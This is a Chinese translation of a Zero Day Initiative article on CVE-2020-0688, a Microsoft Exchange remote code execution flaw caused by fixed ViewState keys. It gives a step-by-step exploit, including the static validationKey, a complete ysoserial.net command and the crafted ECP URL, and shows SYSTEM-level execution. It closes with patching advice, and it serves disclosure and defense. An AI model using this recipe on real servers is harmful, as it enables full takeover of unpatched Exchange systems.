CVE-2020-0688:微软EXCHANGE服务的远程代码执行漏洞

iso60001  1518天前

22.png

本周二,微软发布了一个Important级别的补丁,解决了Microsoft Exchange Server中的远程代码执行错误。此漏洞是由一位匿名研究人员报告给我们的,它影响了Microsoft Exchange Server的所有版本,直到周二的补丁才被修复。下面是这个漏洞的一个快速演示视频:

https://youtu.be/7d_HoQ0LVy8

最初,微软表示这个漏洞是由于内存损坏而造成的,攻击者向存在缺陷的Exchange服务器发送经过特殊处理的电子邮件即可触发漏洞。而目前他们已经修改了原始报告,指出这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。

具体来说,漏洞是在Exchange Control Panel (ECP)组件中发现的。这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKeydecryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。

33.png

由于使用了静态密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据。在YSoSerial.net的帮助下,攻击者可以在Exchange Control Panel web应用上执行任意.net代码。

为了利用这个漏洞,我们需要从经过身份验证的session中收集ViewStateUserKey__VIEWSTATEGENERATOR值。ViewStateUserKey可以从ASP.NET的_SessionIDcookie中获取,而ViewStateUserKey可以在一个隐藏字段中找到。所有这些都可以通过浏览器中的工具轻松找到。

首先,进入/ecp/default.aspx页面并登录。所使用的帐户不需要任何高权限。在以下例子中,我们使用了一个名为user的帐户:

44.png

接着,我们需要收集一些信息。最重要的数据我们已经知道:

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

为了获得ViewStateUserKey__VIEWSTATEGENERATOR,请打开开发工具的Network选项,然后按F5重新发送请求。我们需要找到登录时/ecp/default.aspx的原始响应。

55.png

正如你所看到的,在页面源代码中可以找到 __VIEWSTATEGENERATOR,它的值是B97B4E27。一般来说每次都不一样。接下来,打开Headers选项卡并找到ASP.NET_SessionIdcookie:

66.png

在本例中,其值为05ae4b41-51e1-4c3a-9241-6b87b169d663

我们现在掌握了发动攻击所需的所有信息:

 --validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
 --validationalg = SHA1
 --generator = B97B4E27
 --viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

下一步是使用ysoserial.net生成ViewState的paylaod。我们将通过创建文件C:\Vuln_Server.txt来演示远程代码执行:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

77.png

最后,我们需要对ViewState的payload进行URL编码,构造一个如下的URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

完成后将URL提交给Exchange服务器,只需将其粘贴到浏览器地址栏:

88.png

服务器报了个500错误,但攻击其实成功了。现在检查对目标服务器的动静:

99.png

是的,文件Vuln_Server.txt创建成功。检查文件上的权限信息,可以确认它是由具有“SYSTEM”权限的进程创建的。

100.png

这表明攻击者可以以“SYSTEM”身份远程执行代码,完全破坏Exchange服务器。

结论

微软在2020年2月将此漏洞标记为CVE-2020-0688。根据他们的说法,他们通过“纠正Microsoft Exchange在安装过程中创建密钥的方式”解决了这个漏洞。换句话说,他们现在会在安装时随机分配密钥。微软之所以没把这个漏洞视为最严重,可能是因为攻击者必须首先进行身份验证。但是,请注意,在企业中,大多数用户都可以通过Exchange服务器的身份验证。任何外部攻击者只要控制了任何企业用户的设备或凭证,都可以接管Exchange服务器。因此,如果你是Exchange服务器管理员,应该将此视为一个非常急需修复的漏洞。

我们要感谢向ZDI报告此漏洞并提供大量信息的匿名研究人员。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

最新评论

昵称
邮箱
提交评论